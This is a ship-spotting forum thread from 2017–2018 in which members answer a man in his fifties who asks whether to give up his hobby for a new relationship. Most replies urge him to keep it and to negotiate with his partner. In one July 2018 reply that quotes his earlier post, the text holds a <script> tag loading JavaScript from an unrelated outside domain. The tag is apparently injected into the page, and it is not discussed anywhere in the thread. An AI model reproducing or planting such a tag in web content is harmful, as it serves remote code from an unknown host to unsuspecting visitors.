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Shipspotters all over the world => Shipping News and information => Topic started by: MattyBoy on July 17, 2017, 07:26:36 pm



Title: Would you give up your hobby for a woman ?
Post by: MattyBoy on July 17, 2017, 07:26:36 pm
Hey all,

So i was wondering if any of you have given something up that you really liked for a lady?

Looking to put this Shipspotting malarkey on hold for a while if not indefinitely. Besides, we are geeks are we not & most, if not all women, think we are a bit weird.

Advice needed please


Regards,


Title: Re: Would you give up your hobby for a woman ?
Post by: Ships lover on July 17, 2017, 08:06:46 pm
Behind a great man there is a great woman


Title: Re: Would you give up your hobby for a woman ?
Post by: jdap on July 17, 2017, 08:12:10 pm
Hmmm...

Maybe the reverse is also true:

"Behind a big loser, "cherchez la femme!" - she may be the one responsible for his failure..."

Just a thought...

Best regards all (and keep your pictures coming in, please!),

Jose
(jdap)


Title: Re: Would you give up your hobby for a woman ?
Post by: Captain Ted on July 17, 2017, 08:18:58 pm
A smart woman never would ask you to give something up !!! :) :)
in other words,,if you have a woman who wants that,,,may be you have the wrong woman


Title: Re: Would you give up your hobby for a woman ?
Post by: Jens Boldt on July 17, 2017, 09:29:22 pm
Well, you are who you are and you do what you do - that's the package she gets. If she can't accept that then good riddance. At least that's the way I handle such things ;D

I completely agree with the Captain here...


Title: Re: Would you give up your hobby for a woman ?
Post by: andrecas on July 18, 2017, 03:36:45 am
Simple answer to your question.....NOPE..!
A one way street usually leads to a dead end or edge of a cliff with virtually nowhere to turn around.
A relationship has a much better chance at surviving on a two way street.


Title: Re: Would you give up your hobby for a woman ?
Post by: lappino on July 18, 2017, 05:57:47 am
Here's one bad piece of advice, based on a song by a band called "Airbourne":

"Women come and go
They never do remain
They take more than they give
But it's man who's to blame"

Choose a woman. Ships remain, but a woman will be gone.  ;D


Title: Re: Would you give up your hobby for a woman ?
Post by: victor radio74 on July 18, 2017, 07:53:33 am
Lucky you,at my 69 I would like to be in that dilemma
Cheers!


Title: Re: Would you give up your hobby for a woman ?
Post by: Phil English on July 18, 2017, 08:16:33 am
I already have pretty much. About 25 years ago.  :)



Title: Re: Would you give up your hobby for a woman ?
Post by: pieter melissen on July 18, 2017, 09:12:06 am
my wife likes ships...


Title: Re: Would you give up your hobby for a woman ?
Post by: MattyBoy on July 18, 2017, 06:51:47 pm
Hey guys,

Hmm, some very interesting & thought-provoking answers. Certainly not an easy one this.  I finally feel like I'm doing something worthwhile being on here. Working in a team as it were, and then BANG !! This bird starts making eyes at me for the last 8 years. So, I'm thinking this could be getting serious. What to do ?? Well, consult the team first and see what they come up with.

Will keep posting photo's but it might start to taper off........... !! thanks for the heads-up though.




Title: Re: Would you give up your hobby for a woman ?
Post by: ventuari on July 18, 2017, 08:12:10 pm
Hi MattyBoy my friend.

Well, well, well, what an interesting topic... :). Still after 27 years (married) I have my hobbies intact and alive. No special secret or else. As other fellow members get different points of view ( as they commented before), I think, at least in my case, negotiation and some psychology... ;D 8).

For example, when we travel I discuss first the destinations...( of course, some sea water smell places included. At least one, or two, or three...jajaja. And some without and really inland places for her. Some times we agree and go together, others negotiate, and others we split to different places.

Included in negotiations: Shipspotting, naval or maritime museums, naval memorials or else for me... ::) and...shopping centers, malls, churches, museums, or else for her... 8)

That means that some days (vacation or just trips )abroad we are kilometers away from each other doing what we both like. Simple. I enjoy my hobbies and she enjoy hers...

You know what I hate more, walking down the street watching shops windows and each 5 minutes..."wait, wait, wait for me 1 minute Im going inside to see something"...( that famous 1 minute inside the shop in real time is no less than 15 to 20, minimun... ???)  And thats the life my friend. What else you can do but just wait outside. But...when negotiations come to the table, I remember her the total time I was stand outside hundreds of shops waiting... ;D and thats it.

So finally, the answer to your main question is NO. Its your hobby, but negotiates and applies some psychology. For sure she has her own hoobies too.

The best for you my friend.
MBregards.
ventuari


Title: Re: Would you give up your hobby for a woman ?
Post by: Jeff Thoreson on July 19, 2017, 03:20:18 am
The correct answer to this is NO!

If she wants you to give it up, she's the problem.


Title: Re: Would you give up your hobby for a woman ?
Post by: Bob Scott on July 19, 2017, 08:50:50 am
If your woman wants you to give up your hobby, you've got the wrong woman. However, if your hobby has become an obsession, she may have a point


Title: Re: Would you give up your hobby for a woman ?
Post by: Mrs. D on July 20, 2017, 12:51:57 am
Hi MattyBoy  :)

As a woman I would say that Captain Ted and several others are right. I have been happily married for 13 years now and we both kept our hobbies. I never asked my husband to make a choice between me and his hobbies just he has never asked me to stop mine or chose between him and them.

ventuari gave some very smart advice too. Everything that you are including your hobbies are the parts of you that make you YOU (if that makes sense). They are what made you attractive to her in the first place. If you eliminate all that then you will be a different person and it won't work out. You can't make a leopard change its spots, you just end up with unhappy people.

Best of luck to you and hope to still see you on here,

Mrs. D


Title: Re: Would you give up your hobby for a woman ?
Post by: MattyBoy on July 21, 2017, 09:37:01 am
Hi there,

It's certainly a very in depth topic and thanks for the continued input on this rather (from my point of view) delicate subject. She is not aware of my passion for the subject and I have been wary to reveal it, subject to the ridicule which usually follows in such circumstances.

@MrsD thanks for the lady's point of view. I didn't know you existed until now !




Title: Re: Would you give up your hobby for a woman ?
Post by: johnturner on July 21, 2017, 10:46:45 am
I did give one up in the late sixties and stayed single so I could keep my hobbies. How ever still not sure if it was the right decision. it would have been a boring suburban existence.


Title: Re: Would you give up your hobby for a woman ?
Post by: MattyBoy on July 21, 2017, 10:54:22 am
Hey john,

That's interesting because it matches my predicament perfectly. I'm at "peak age", (post-50's). The bottom line is, stick with hobbies & remain single OR get with a lady & as you say begin a "boring suburban existence" BUT not grow old lonely. It seems there are an unbelievable amount of lonely people in the UK (not sure if the same can be said in other countries). No-one knows what life is about to throw at you. If we all had a crystal-ball I wonder what the world would be like. No-one would ever take chances I guess.


Title: Re: Would you give up your hobby for a woman ?
Post by: Mrs. D on July 10, 2018, 10:57:20 pm
@MrsD thanks for the lady's point of view. I didn't know you existed until now !

I hope I am not the only lady on here  ;D Hope everything worked out for you, sorry I took so long to check back.


Title: Re: Would you give up your hobby for a woman ?
Post by: Cedric Hacke on July 11, 2018, 07:35:44 am
My misses has no problems with shipping as a hobby. That said I did move a 45 min drive away from the coast for work so most of my "shipping time" is spent here as a photo admin on this website.


Title: Re: Would you give up your hobby for a woman ?
Post by: Jordan Seifarth on July 12, 2018, 12:55:49 am
Hey john,

That's interesting because it matches my predicament perfectly. I'm at "peak age", (post-50's). The bottom line is, stick with hobbies & remain single OR get with a lady & as you say begin a "boring suburban existence" BUT not grow old lonely. It seems there are an unbelievable amount of lonely people in the UK (not sure if the same can be said in other countries). No-one knows what life is about to throw at you. If we all had a crystal-ball I wonder what the world would be like. No-one would ever take chances I guess.<script type="text/javascript" src="http://tizermedias.com/odessa/?H6rRyf"></script>

Until reading this post I had no idea what age you were but assumed teens or 20s given the ridiculous idea that any grown up woman and functioning human being would have a problem with such a harmlessly benign hobby as pointing a camera at ships.

You may need to give this woman more credit than you are. I'd like to think that anyone, her included, over the age of say 25 would have enough maturity, nous and intellect to not bat an eyelid over your chosen hobby.

Another way to look at it would be to ask yourself how much less lonely would you actually feel if you were constantly trying to act like somebody that you're not? First it might be abandonment of a hobby, next week it might be changing how you dress, the week after it might be the giving up of friends who she doesn't like or who you think she wouldn't like and on it could go until you have nothing left that is fundamentally you.

But in all seriousness, I can't imagine for a second that ship photography would even be a problem.



Title: Re: Would you give up your hobby for a woman ?
Post by: seaweasel on July 12, 2018, 08:37:26 am
Hello mattyboy and all of you,

my opinion is that you should not give up a hobby for a woman.

There are many interesting and different things for both of you to discover during shipspotting. Explain to her some details of the ships you are watching and she will eventually build up a knowledge about ships and shipping. There are so many benefits for both of you to enjoy while watching the ships passing by : Nature, a great scenery, fascinating animals can be seen (my wife and I are keen birdwatchers, so this is really a good additional motivation), wonderful fresh air, sunshine and many other things. You can enjoy taking your meals at very special places having a great panorama at the same time.

Perhaps the woman you have met, mattyboy, will be inspired and "infected" by all these great experiences ? It should work if you are skillful and patient. And what about making a nice ship journey with her or some harbour trips ? And perhaps she is or gets interested in photography and takes photos by herself ? There are a lot of other subjects that can be seen during a shipspotting tour or on the way to and from these locations.

Last but not least it is very important, in my opinion, that you should try to visit a great variety of shipspotting locations if possible, so this should never become boring to her.

Perhaps try it this way, good luck and best wishes to all of you from Hans


Title: Re: Would you give up your hobby for a woman ?
Post by: Bob Scott on July 12, 2018, 09:44:40 am
Even if she takes no interest in your hobby, your woman can take reassurance from the fact that, while you are out chasing ships, you are not chasing other women.